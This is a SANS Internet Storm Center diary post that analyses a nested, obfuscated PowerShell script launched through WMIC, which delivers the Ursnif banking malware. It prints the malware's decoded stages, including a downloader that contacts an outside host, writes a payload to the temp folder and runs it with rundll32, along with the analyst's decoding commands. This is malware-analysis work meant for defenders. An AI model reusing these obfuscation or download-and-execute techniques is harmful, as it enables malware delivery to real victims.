Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: Russian Dolls Malicious Script Delivering Ursnif SANS ISC InfoSec Forums

Watch ISC TV. Great for NOCs, SOCs and Living Rooms:

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Russian Dolls Malicious Script Delivering Ursnif

As a result of my hunting jobs, I found an interesting piece of obfuscated script. This one looks really like Russian dolls because multiple levels of obfuscation are implemented. It is invoked via WMIC, the command client that performs Windows Management Instrumentation (WMI) operations from a command prompt. If WMI is known to be a management solution (to get status of local and remote Windows hosts), it is able to perform a lot of interesting stuff like changing settings, managing users and… spawn processes. Example:

C:\Users\REM\>wmic process call create calc.exe
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
        ProcessId = 5372;
        ReturnValue = 0;

The sample that I found spawns a Powershell process with an obfuscated payload (SHA256: ced09a35fd85240ec0066bac134c08cec8a9e39ecceed1ad52fade55f39e359e) and has a low VT score (2/55)[1]. Here is a beautified version:

WmiC "prOcess" "CAlL" "CrEATe" "PoWersheLl -NoPRofiLE -EXECUTiONpoLI bYpAss -wiN 000000000000000000000000000000000000000000000000000000000000000001 -nOninT . 
( $sHELlid[1]+$sHeLLiD[13]+'x')("\".('sl');&('sa'+'l') ('Ll') ('sa'+'l');&('lp');.('Ll') ('Pp') ('N'+'Ew-ObJ'+'ect');&('Ll') ('Pp'+'p') ('i'+'EX');&('Pp'+'p')(&('Pp') ('SysteM.i'+''+'mPRES'+'siOn'+'.'+'defLA'+'tESTrE'+'A'+'m')([IO.mEmORYsTReam][conVert]::FROmBaSe64stRing( (‘


') ) "\" + [StrinG][Char]44 +"\"[iO.CoMPressiOn.ComPreSSiONmODe]::DeCoMpreSS)|.('%') {.('Pp') ('SY'+'st'+'Em.Io.stRe'+'AmreAd'+'er')(`${_}"\" + [StrinG][Char]44 +"\" [TExT.eNCOdinG]::ASciI)} ).reADtoEnD()"\" )"

The payload is Base64-encoded and compressed using the Deflate[2] algorythm. You can easily decode this first stage payload with a few lines of Powershell:

$base64data = ‘<payload>'
$data = [System.Convert]::FromBase64String($base64data)
$m = New-Object System.IO.MemoryStream
$m.Write($data, 0, $data.Length)
$m.Seek(0,0) | Out-Null
$s = New-Object System.IO.StreamReader(New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress))
echo $s.ReadLine()

The result gives us a second stage payload:

Ll Xf Get-Date;Ll Jq rundll32;[sTRING]::joIn( '' ,( ‘


'-SPLiT','-sPliT'G' -split'D'-SpLiT'%' -SpliT '<'-sPlit 'S' -split'p' -SpliT'~' -sPlIt'K' -SPl
iT':' |%{ ( [ConvERT]::toiNT16(( $_.TosTRiNG()) ,8)-as [CHaR])}) ) |Ppp

Here is the decoded payload:

$Tk=get-counter;( Pp  Io.STreaMreaDer(( Pp iO.cOMpReSSioN.DeFLATEstReAM( [SYsTeM.iO.MEMoRYsTReAM] [cOnvERt]::FrombAsE64stRinG


'),[IO.comPREsSioN.cOmPresSiOnmOdE]::dEcOMpress)), [Text.eNcoDiNG]::aSciI) ).reADTOEND( )|Ppp

Again, we are facing the same behaviour. The third payload is Base64-encoded and deflated. Once decoded, we now have this:

if((.('Xf')|.("{0}{2}{1}" -f'out-','ring','st')) -like ("{0}{1}"-f '*gn','*')){${I`i}=("{1}{4}{2}{3}{6}{7}{0}{5}"-f 'd/e.p','https','ndoluy','r','://fu','hp','.','fun');${i`I}="${ii}?"+(&('Xf') -Format ('o')).('sub'+'str'+'ing').Invoke(0,27);${Ez}=("{1}{2}{0}"-f 'ient','Net.WebC','l');function R`Sd([string] ${t`eE}){${L} = @{}; ${L}.';' = 'T'; ${L}.'_' = 'V'; ${l}.'-' = 'A'; Foreach(${E} in ${l}."Ke`Ys"){${T`ee} = ${T`ee}.('R'+'eplac'+'e').Invoke(${e}, ${l}.${e})}return ${T`EE}};.('SV') ("{1}{0}" -f'U','43') ${II}}else{exit};.('SV') ('4H') ${Ez};&("{0}{1}"-f 'di','r') ("{0}{1}" -f'ect','*');.('SV') ('wm') (&(.('GI') ("{4}{2}{0}{1}{3}" -f 'e:/','E*ont','abl','e*','Vari'))."v`ALUe".(((&('GI') ("{3}{2}{0}{1}"-f'*onte','*','iable:/E','Var'))."VAL`UE"|&("{0}{1}{2}"-f 'Me','m','ber'))[6]."NA`me").('GetCm'+'dle'+'t').Invoke((&('GI') ("{0}{1}{2}{4}{3}" -f'Var','iable',':/','e*','E*ont'))."v`ALUe".(((&('GI') ("{0}{3}{2}{1}"-f 'Varia','nte*','le:/E*o','b'))."v`ALuE"|.("{0}{1}" -f'Membe','r'))[6]."n`AME").(((.('GI') ("{0}{2}{3}{1}" -f 'Vari','/E*onte*','able',':'))."VaL`Ue".(((&('GI') ("{5}{1}{2}{4}{0}{3}"-f'*','riab','l','onte*','e:/E','Va'))."vA`LuE"|.("{0}{1}" -f 'Memb','er'))[6]."na`mE")."PS`oB`JECT"."MeT`hODS"|.('?'){(&("{1}{0}"-f 'R','DI') ((("{0}{1}{2}" -f'Variabl','e:K4q','_'))-replACE  'K4q',[chAr]92))."VA`lue"."nA`mE"-like("{0}{1}" -f '*n','d*e')})."N`AMe")."iN`V`okE"(("{0}{1}"-f 'N*','ct'),1,${T`Rue}))(&("{2}{1}{0}"-f'able','ri','Va') ('4H'))."V`ALUe");&('SV') ('Gu') ((((.("{0}{1}" -f 'GC','i') ("{0}{2}{3}{1}" -f 'Variab','wm','l','e:'))."va`LUe"|&("{1}{0}{2}" -f'm','Me','ber'))|&('?'){(.("{1}{0}" -f'IR','D') ((("{1}{0}" -f'0}_','Variable:{'))  -f[ChaR]92))."val`Ue"."Na`me"-like("{1}{0}"-f'wn*g','*')})."nA`mE");${L`y}=(&("{1}{0}"-f'i','gC') ("{1}{0}{2}"-f'able','Vari',':wm'))."vAL`Ue".((.("{1}{0}" -f 'Ci','G') ((("{0}{2}{1}{3}" -f 'V','e:{0}G','ariabl','u'))  -f [cHAr]92))."vaL`Ue")."IN`VOKe"((.("{0}{1}"-f 'G','CI') ("{2}{1}{0}" -f'e:/43U','riabl','Va'))."Val`UE");if((${tK}|.('FL') -Property ('*')|.("{2}{1}{0}" -f'-String','t','Ou')) -Match ("{0}{1}" -f'i','sco f')){${G`A}=${En`V`:temp};${gg}=(${D} = .("{0}{1}"-f'g','ci') ${G`A}|&("{0}{2}{1}" -f 'g','ndom','et-ra'))."N`AME" -replace ".{4}$";${WY}=${g`A}+'\'+${gg}+'.';("{1}{0}{2}" -f'r','er','or[0]')|.("{0}{1}{2}" -f 'se','t-clipboa','rd');[io.file]::"w`Ri`T`eallBYTes"(${w`y},[Convert]::('F'+'rom'+'Ba'+'se64S'+'tring').Invoke((&("{0}{1}"-f 'Rs','d')(${ly})).('replac'+'e').Invoke(' ','')))};if((&("{1}{0}" -f'i','gc') ${w`Y})."LE`N`GTH" -lt 200){exit};&("{0}{1}" -f's','leep') 9;.('Jq') ("{2}{1}{0}{3}"-f'p','l.c','InetCp','l'),("{1}{5}{0}{4}{3}{6}{2}"-f 'arMy','Cl','s','ksB','Trac','e','yProces') 8|.('Jq') ('/s') ${wy}, ("{1}{0}{2}{3}{4}"-f 'egi','DllR','ster','Ser','ver');.("{1}{0}"-f'leep','s') 55;&('sl');[io.file]::"w`RItEAL`lLIN`ES"(${w`y},[regex]::('repl'+'ace').Invoke(${ly},'\d','.’))

This script is also nicely obfuscated but it’s easy to spot the goal: it’s the downloader. Many strings are stored in arrays but they are easy to read:

PS C:\Users\REM> ${I`i}=("{1}{4}{2}{3}{6}{7}{0}{5}"-f 'd/e.p','https','ndoluy','r','://fu','hp','.','fun');
PS C:\Users\REM> echo ${I`i}

Too bad the domain does not resolve anymore but it can be found in passive DNS databases. It was resolving to 185[.]158[.]251[.]97. Let’s try to access the site now:

isc> curl --resolve fundoluyr[.]fund:443:185[.]158[.]251[.]97 -v hxxps://fundoluyr[.]fund/e.php
* Added fundoluyr[.]fund:443:185[.]158[.]251[.]97 to DNS cache
* Hostname was found in DNS cache
*   Trying 185[]158[.]251[.]97...
* Connection failed
* connect to 185[.]158[.]251[.]97 port 443 failed: Connection refused
* Failed to connect to fundoluyr[.]fund port 443: Connection refused
* Closing connection 0
curl: (7) Failed to connect to fundoluyr[.]fund port 443: Connection refused

The server is also down but I found references to the URL on Twitter. A malware analyst (@reecDeep) grabbed the file server by the URL and found a DLL:

It’s an Ursnif sample (SHA256:3e0c302ffaaf26cca166dad8691f3cc8a4f2c3800311ef856a47ecac02854a41)[3].

Another nice example of obfuscation isn't it?


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Amsterdam August 2020 Part 2


533 Posts
ISC Handler
Jul 12th 2019
Feel like Alice tumbling down the rabbit hole....

Sign Up for Free or Log In to start participating in the conversation!